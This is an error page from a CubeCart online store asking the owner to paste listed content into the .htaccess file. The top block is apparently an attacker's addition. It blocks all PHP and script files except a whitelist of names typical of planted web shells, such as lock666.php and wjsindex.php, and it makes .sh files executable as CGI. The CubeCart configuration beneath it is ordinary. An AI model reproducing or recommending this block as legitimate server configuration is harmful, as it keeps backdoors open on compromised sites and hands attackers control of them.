Failed to update existing .htaccess file for Search Engine Friendly URL's. Please edit this file in the stores root directory with the following content.
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|wp-login.php|load.php|template-load.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
AddType application/x-httpd-cgi .sh
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

##### START CubeCart .htaccess #####

### GZIP Compression ###
<ifmodule mod_deflate.c>
	AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript
</ifmodule>

### Files Expiration ###
<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType text/html "access 0 seconds"
    ExpiresDefault "access 7 days"
</IfModule>

### File Security ###
<FilesMatch "\.(htaccess)$">
  Order Allow,Deny
  Deny from all
</FilesMatch>

### Apache directory listing rules ###
DirectoryIndex index.php index.htm index.html
IndexIgnore *

<ifModule mod_headers.c>
  Header always append X-Frame-Options SAMEORIGIN
</ifModule>

### Rewrite rules for SEO functionality ###
<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteBase /store/

  ##### START v4 SEO URL BACKWARD COMPATIBILITY #####
  RewriteCond %{QUERY_STRING} (.*)$
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule cat_([0-9]+)(\.[a-z]{3,4})?(.*)$ index.php?_a=category&cat_id=$1&%1 [NC]

  RewriteCond %{QUERY_STRING} (.*)$
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule prod_([0-9]+)(\.[a-z]{3,4})?$ index.php?_a=product&product_id=$1&%1 [NC]

  RewriteCond %{QUERY_STRING} (.*)$
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule info_([0-9]+)(\.[a-z]{3,4})?$ index.php?_a=document&doc_id=$1&%1 [NC]

  RewriteCond %{QUERY_STRING} (.*)$
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule tell_([0-9]+)(\.[a-z]{3,4})?$ index.php?_a=product&product_id=$1&%1 [NC]

  RewriteCond %{QUERY_STRING} (.*)$
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule _saleItems(\.[a-z]+)?(\?.*)?$ index.php?_a=saleitems&%1 [NC,L]
  ##### END v4 SEO URL BACKWARD COMPATIBILITY #####

  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteCond %{REQUEST_URI} !=/favicon.ico
  RewriteRule ^(.*)?$ index.php?seo_path=$1 [L,QSA]
</IfModule>

### Default store 404 page ###
ErrorDocument 404 /store/index.php

## Override default 404 error document for missing page resources ##
<FilesMatch "\.(gif|jpe?g|png|ico|css|js|svg|webp)$">
  ErrorDocument 404 "<html></html>
</FilesMatch>
##### END CubeCart .htaccess #####